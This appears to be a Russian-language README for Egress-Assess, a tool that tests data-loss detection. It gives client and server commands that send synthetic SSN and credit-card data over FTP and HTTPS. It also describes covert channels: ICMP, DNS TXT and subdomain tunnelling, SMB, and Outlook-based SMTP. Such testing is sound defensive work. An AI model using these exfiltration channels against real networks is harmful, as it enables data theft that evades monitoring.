
Многопротокольный инструмент для тестирования утечки данных, который моделирует реальные сценарии исходящего трафика через FTP, HTTP, HTTPS, DNS, ICMP, SMB, SMTP и SFTP для проверки возможностей обнаружения.
Egress-Assess — это инструмент для тестирования возможностей обнаружения исходящих данных.
Для настройки запустите включенный скрипт установки или выполните следующее:
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
Статьи в блоге доступны здесь:
Обычный сценарий использования Egress-Assess — скопировать этот инструмент в два места. Одно место будет выступать в роли сервера, другое — в роли клиента. Egress-Assess может передавать данные по FTP, HTTP и HTTPS.
Чтобы извлечь данные по FTP, сначала запустите FTP-сервер Egress-Assess, выбрав --server ftp и указав имя пользователя и пароль:
./Egress-Assess.py --server ftp --username testuser --password pass123
Теперь, чтобы клиент подключился и отправил данные на FTP-сервер, выполните...
./Egress-Assess.py --client ftp --username testuser --password pass123 --ip 192.168.63.149 --datatype ssn
Также вы можете настроить Egress-Assess в качестве веб-сервера, выполнив...
./Egress-Assess.py --server https
Затем, чтобы отправить данные на FTP-сервер, а именно 15 мегабайт данных кредитных карт, выполните следующую команду...
./Egress-Assess.py --client https --data-size 15 --ip 192.168.63.149 --datatype cc
Другие примечания:
SMTP — клиент создает почтовое сообщение, помещая данные в тело сообщения или, если это файл, в виде вложения. Затем клиент пытается установить SMTP-соединение с сервером EgressAssess через порт 25 (или альтернативный указанный порт). SMTP-сервер не требует аутентификации и принимает входящее соединение и обрабатывает письмо. Обработка почтового сообщения извлекает данные из тела письма или из вложенного файла в почтовом сообщении. Этот тест не пытается отправить письмо через почтовый сервер организации.
SMTP_Outlook – (Этот модуль доступен только в PowerShell-клиенте). Если клиент Outlook был предварительно настроен, PowerShell-клиент создает COM-объект для Outlook (в зависимости от конфигурации может потребоваться аутентификация пользователя). Затем PowerShell-клиент создает почтовое сообщение с данными в теле письма или, если это файл, в виде вложения. Письма отправляются из Outlook от имени предварительно настроенного пользователя. (Некоторые настройки безопасности могут уведомить пользователя о том, что программа пытается отправить письма в фоне, и потребуется разрешить действие). Для работы этого модуля необходимо создать MX-запись для сервера EgressAssess. SMTP-сервер EgressAssess принимает все почтовые сообщения, отправленные на домен MX-записи, и получает письма с вложенными файлами или данными в теле письма.
Invoke-EssessAgress -Client SMTPOutlook -IP <domain of SMTP Sever> -NoPing -DataType "ssn"
ICMP — данные разбиваются на байты, кодируются в base64 и передаются по сети в ICMP-запросе типа 8 ECHO. Данные помещаются в поле данных пакета. ECHO-запросы непрерывно отправляются на сервер EgressAssess, который принимает ICMP-запрос, собирает данные и декодирует их.
FTP — данные и файлы загружаются на FTP-сервер EgressAssess в соответствии с обычным протоколом. Для доступа к серверу используются имя пользователя и пароль. См. примеры выше.
SFTP — данные и файлы загружаются по протоколу SFTP. Для доступа к серверу используются имя пользователя и пароль.
HTTP(S) — данные и файлы отправляются через POST-запрос на веб-сервер EgressAssess. Для Python-клиента данные отправляются на http(s)://<IP или FQDN>/post_data.php, а для PowerShell-клиента — на http(s)://<IP или FQDN>/posh_file.php.
SMB — сервер EgressAssess (с использованием Impacket's SimpleSMBserver) создает общую папку SMB /TRANSFER. Клиентская система подключается к этой папке без аутентификации и передает файл. Это похоже на подключение к сетевой папке и копирование файла. При желании можно также добавить имя пользователя и пароль для аутентификации. Как указано выше, определите, с какой системы вы осуществляете эксфильтрацию и какие политики безопасности применяются, чтобы понять, можно ли использовать старый уязвимый SMBv1 или нужно включить SMBv2.
DNS_TXT — данные и файлы разбиваются на байты, затем преобразуются в base64 и разбиваются на отдельные DNS TXT-запросы, которые отправляются на IP-адрес или доменное имя. Клиент пытается подключиться напрямую к серверу EgressAssess и делает DNS TXT-запрос. Сервер затем извлекает данные из пакетов и декодирует их. В PowerShell-клиенте есть опция Stacked queries. Это позволяет отправлять до 7 TXT-запросов в одном DNS-запросе на сервер, что увеличивает скорость эксфильтрации данных.
DNS_Resolved — данные и файлы разбиваются на байты, затем преобразуются в base64. Затем данные разбиваются на части и используются как часть DNS-запроса для разрешения поддомена: <encoded_data>.domain.com. Для работы этого модуля необходимо настроить NS-запись для домена, указывающую на сервер EgressAssess. Все DNS-запросы отправляются на настроенный системный сервер имен и в конечном итоге достигают предварительно настроенного сервера EgressAssess. Сервер EgressAssess извлекает часть данных из каждого запроса и собирает файл обратно.